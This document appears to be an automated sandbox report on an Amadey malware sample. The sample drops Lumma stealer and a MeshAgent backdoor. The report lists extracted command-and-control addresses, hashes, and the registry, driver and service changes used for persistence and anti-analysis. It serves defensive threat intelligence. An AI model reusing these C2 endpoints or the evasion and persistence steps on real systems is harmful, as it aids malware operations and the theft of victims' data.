amadey | 1c85c298f9a4521cd1d585b17c339a251991320addb3ff19c1bee9c5f2d9fb2a

Analysis

max time kernel
131s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
04/04/2025, 18:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SOVXW_random.exe
Size

1.8MB
MD5

82ceaed9ec6f91d0651ad7ade1973ce9
SHA1

fc82cea34dededb1a7f0ef922f8417187ccfb0d5
SHA256

1c85c298f9a4521cd1d585b17c339a251991320addb3ff19c1bee9c5f2d9fb2a
SHA512

43df8c92ac3f9bd7319242a2723cd4fca2d7dc7f85185b28b55464643362ee8adca7c11f5a2b433bfd3cc79a1296565c45a799211997ceef13c38a61f9e4d291
SSDEEP

49152:zKkN6kENYRkzHrxq9RZvn/nQvbMvop16TAInOnmiF:zKkNlrMLwRJ/nI0TRi

Score

10^/10

amadey lumma meshagent 092155 test123 backdoor bootkit defense_evasion discovery execution exploit persistence rat spyware stealer trojan

Malware Config

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

meshagent

Version

Botnet

test123

http://aaso12.duckdns.org:443/agent.ashx

Attributes

mesh_id
0x0CF4A8B0663DD2F1D3A44CE8D231621166DBDB1E723B374C911544DE2F45A87C6C52F7206CED32F5B6A52A5551B75A3C
server_id
22F126392DFCD804B6AF755F256A707D53ED8D200650E6BC853C95860F21B6B7049AF4EBEAB393E6EE1A9315B396BFC8
wss
wss://aaso12.duckdns.org:443/agent.ashx

Extracted

Family

lumma

https://p5pepperiop.digital/oage

https://jrxsafer.top/shpaoz

https://plantainklj.run/opafg

https://upuerrogfh.live/iqwez

https://quavabvc.top/iuzhd

https://advennture.top/GKsiio

https://targett.top/dsANGt

https://pirambutanvcx.run/adioz

https://ywmedici.top/noagis

https://navstarx.shop/FoaJSi

https://metalsyo.digital/opsa

https://ironloxp.live/aksdd

https://starcloc.bet/GOksAo

https://spacedbv.world/EKdlsk

https://galxnetb.today/GsuIAo

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey

Detects MeshAgent payload 1 IoCs

resource	yara_rule
behavioral1/files/0x00070000000242fb-2938.dat	family_meshagent

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma
MeshAgent
MeshAgent is an open source remote access trojan written in C++.
rat trojan backdoor meshagent
Meshagent family
meshagent

Modifies security service 2 TTPs 2 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Security	reg.exe

Contacts a large (4101) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 7 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	52c21a4ce3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	db7de03a5d.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	SOVXW_random.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	799c084781.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2328	powershell.exe
4220	powershell.exe
4440	powershell.exe
6528	powershell.exe
5840	powershell.exe
3064	powershell.exe
1968	powershell.exe
1828	powershell.exe
4892	powershell.exe
5472	powershell.exe
8052	powershell.exe
8692	powershell.exe
2232	powershell.exe
8592	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Downloads MZ/PE file 15 IoCs

flow	pid	Process
728	4024	svchost.exe
449	3868	rapes.exe
498	3868	rapes.exe
34	3868	rapes.exe
34	3868	rapes.exe
34	3868	rapes.exe
34	3868	rapes.exe
34	3868	rapes.exe
606	3868	rapes.exe
606	3868	rapes.exe
956	3868	rapes.exe
956	3868	rapes.exe
956	3868	rapes.exe
956	3868	rapes.exe
32	3868	rapes.exe

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\Drivers\9e186137.sys	5c6700e4.exe
File created	C:\Windows\System32\Drivers\klupd_9e186137a_arkmon.sys	5c6700e4.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
3220	takeown.exe
4424	icacls.exe

Sets service image path in registry 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Mesh Agent\ImagePath = "\"C:\\Program Files\\Mesh Agent\\MeshAgent.exe\" "	s.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Mesh Agent\ImagePath = "\"C:\\Program Files\\Mesh Agent\\MeshAgent.exe\" "	s.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\J52q4_740\ImagePath = "\\??\\C:\\Windows\\Temp\\J52q4_740.sys"	tzutil.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\9e186137\ImagePath = "System32\\Drivers\\9e186137.sys"	5c6700e4.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_9e186137a_arkmon\ImagePath = "System32\\Drivers\\klupd_9e186137a_arkmon.sys"	5c6700e4.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 16 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	52c21a4ce3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	SOVXW_random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	f5cd9e993f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	52c21a4ce3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	db7de03a5d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	799c084781.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	799c084781.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	f5cd9e993f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	db7de03a5d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	SOVXW_random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Control Panel\International\Geo\Nation	SOVXW_random.exe
Key value queried	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Control Panel\International\Geo\Nation	rapes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Control Panel\International\Geo\Nation	apple.exe
Key value queried	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Control Panel\International\Geo\Nation	262.exe
Key value queried	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Control Panel\International\Geo\Nation	262.exe
Key value queried	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Control Panel\International\Geo\Nation	7IIl2eE.exe
Key value queried	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Control Panel\International\Geo\Nation	larBxd7.exe

Deletes itself 1 IoCs

pid	Process
6276	w32tm.exe

Executes dropped EXE 32 IoCs

pid	Process
3868	rapes.exe
3860	7q8Wm5h.exe
3236	apple.exe
3996	262.exe
3068	262.exe
4104	RLPhvHg.exe
4644	MeshAgent.exe
740	799c084781.exe
2188	FrameworkName.exe
4568	f5cd9e993f.exe
4992	f01ef26c9b.exe
6988	rapes.exe
7160	7q8Wm5h.exe
7584	52c21a4ce3.exe
7352	7IIl2eE.exe
2332	Passwords.com
7316	db7de03a5d.exe
2388	UZPt0hR.exe
556	MeshAgent.exe
6312	TbV75ZR.exe
740	tzutil.exe
6276	w32tm.exe
5432	RLPhvHg.exe
9144	9sWdA2p.exe
9188	MeshAgent.exe
6408	rapes.exe
6372	qhjMWht.exe
1872	Rm3cVPI.exe
6332	91c303ff7b.exe
7684	15d2752c.exe
5344	5c6700e4.exe
7240	larBxd7.exe

Identifies Wine through registry keys 2 TTPs 7 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Software\Wine	799c084781.exe
Key opened	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Software\Wine	52c21a4ce3.exe
Key opened	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Software\Wine	db7de03a5d.exe
Key opened	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Software\Wine	SOVXW_random.exe
Key opened	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Software\Wine	rapes.exe

Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\9e186137.sys	5c6700e4.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\9e186137.sys\ = "Driver"	5c6700e4.exe

Loads dropped DLL 19 IoCs

pid	Process
5344	5c6700e4.exe
5344	5c6700e4.exe
5344	5c6700e4.exe
5344	5c6700e4.exe
5344	5c6700e4.exe
5344	5c6700e4.exe
5344	5c6700e4.exe
5344	5c6700e4.exe
5344	5c6700e4.exe
5344	5c6700e4.exe
5344	5c6700e4.exe
5344	5c6700e4.exe
5344	5c6700e4.exe
5344	5c6700e4.exe
5344	5c6700e4.exe
5344	5c6700e4.exe
5344	5c6700e4.exe
5344	5c6700e4.exe
5344	5c6700e4.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3220	takeown.exe
4424	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\799c084781.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10450150101\\799c084781.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\f5cd9e993f.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10450160101\\f5cd9e993f.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\f01ef26c9b.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10450170101\\f01ef26c9b.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\d3bbbde6-abfa-4f14-a4a6-cb5004aae7d8 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\{97652aaa-b947-4f11-b5fc-6a651cb7176d}\\d3bbbde6-abfa-4f14-a4a6-cb5004aae7d8.cmd\""	5c6700e4.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1652	ip-api.com

Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	db7de03a5d.exe
File opened for modification	\??\PhysicalDrive0	5c6700e4.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x0007000000024315-5870.dat	autoit_exe

Drops file in System32 directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\dll\Kernel.Appcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\win32u.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\win32u.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\msvcrt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\advapi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\sechost.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ncrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\dbghelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\System32\ncrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\iphlpapi.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\shell32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\shcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\gdi32full.pdb	MeshAgent.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\System32\dll\win32u.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\combase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\shcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\msvcrt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\sechost.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\kernelbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\rpcrt4.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\DLL\bcrypt.pdb	MeshAgent.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Keys\7347E8E9CE01F86D414A3050FEAE0AF0D969F3F2	MeshAgent.exe
File opened for modification	C:\Windows\System32\kernelbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ucrtbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ucrtbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\advapi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\DLL\bcrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\kernelbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\win32u.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\sechost.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ole32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\DLL\iphlpapi.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ncrypt.pdb	MeshAgent.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\System32\dbghelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\shell32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ncrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\combase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\DLL\iphlpapi.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\gdiplus.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\exe\MeshService64.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\comctl32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\gdi32full.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\DLL\dbgcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\DLL\bcrypt.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\advapi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\combase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\Kernel.Appcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\exe\MeshService64.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\ucrtbase.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\gdi32full.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\dbghelp.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ws2_32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\gdiplus.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\shcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\ntasn1.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\shcore.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\symbols\dll\ntdll.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\crypt32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\advapi32.pdb	MeshAgent.exe
File opened for modification	C:\Windows\System32\dll\gdiplus.pdb	MeshAgent.exe

Enumerates processes with tasklist 1 TTPs 4 IoCs

discovery

Process Discovery

T1057

pid	Process
10080	tasklist.exe
8660	tasklist.exe
8784	tasklist.exe
9924	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs

pid	Process
4640	SOVXW_random.exe
3868	rapes.exe
740	799c084781.exe
6988	rapes.exe
7584	52c21a4ce3.exe
7316	db7de03a5d.exe
6408	rapes.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2188 set thread context of 2156	2188	FrameworkName.exe	202
PID 7160 set thread context of 8132	7160	7q8Wm5h.exe	224
PID 6312 set thread context of 8304	6312	TbV75ZR.exe	265
PID 6332 set thread context of 8096	6332	91c303ff7b.exe	293

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	15d2752c.exe
File opened (read-only)	\??\VBoxMiniRdrDN	5c6700e4.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Windows Defender\fr-FR\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File created	C:\Program Files\Mesh Agent\MeshAgent.db	MeshAgent.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File created	C:\Program Files\Mesh Agent\MeshAgent.db.tmp	MeshAgent.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.dll.mui	cmd.exe
File created	C:\Program Files\Mesh Agent\MeshAgent.exe	s.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Mesh Agent\MeshAgent.db	MeshAgent.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File created	C:\Program Files\Mesh Agent\MeshAgent.msh	MeshAgent.exe
File created	C:\Program Files\Mesh Agent\MeshAgent.msh	MeshAgent.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpEvMsg.dll.mui	cmd.exe
File created	C:\Program Files\Mesh Agent\MeshAgent.exe	s.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\PotteryUser	7IIl2eE.exe
File opened for modification	C:\Windows\ModularVol	larBxd7.exe
File opened for modification	C:\Windows\WallpapersHo	7IIl2eE.exe
File opened for modification	C:\Windows\RowTopics	7IIl2eE.exe
File opened for modification	C:\Windows\GentleOklahoma	larBxd7.exe
File opened for modification	C:\Windows\LowerOrgasm	larBxd7.exe
File opened for modification	C:\Windows\LogisticsNotre	7IIl2eE.exe
File opened for modification	C:\Windows\ProvidingMilwaukee	7IIl2eE.exe
File opened for modification	C:\Windows\JenniferSubdivision	7IIl2eE.exe
File opened for modification	C:\Windows\BrandonStat	7IIl2eE.exe
File opened for modification	C:\Windows\SpecificsHeaven	7IIl2eE.exe
File opened for modification	C:\Windows\GentleLogging	7IIl2eE.exe
File opened for modification	C:\Windows\AmongDouble	larBxd7.exe
File created	C:\Windows\Tasks\rapes.job	SOVXW_random.exe
File opened for modification	C:\Windows\CorrectionsGeographic	7IIl2eE.exe
File opened for modification	C:\Windows\EnglandDeleted	7IIl2eE.exe
File opened for modification	C:\Windows\GovernmentalOttawa	larBxd7.exe
File opened for modification	C:\Windows\EstateLegislative	7IIl2eE.exe
File opened for modification	C:\Windows\DiscussedFacial	7IIl2eE.exe

Launches sc.exe 38 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6012	sc.exe
1236	sc.exe
5940	sc.exe
3144	sc.exe
1852	sc.exe
5252	sc.exe
3132	sc.exe
2224	sc.exe
5180	sc.exe
4112	sc.exe
1288	sc.exe
5952	sc.exe
396	sc.exe
6048	sc.exe
5980	sc.exe
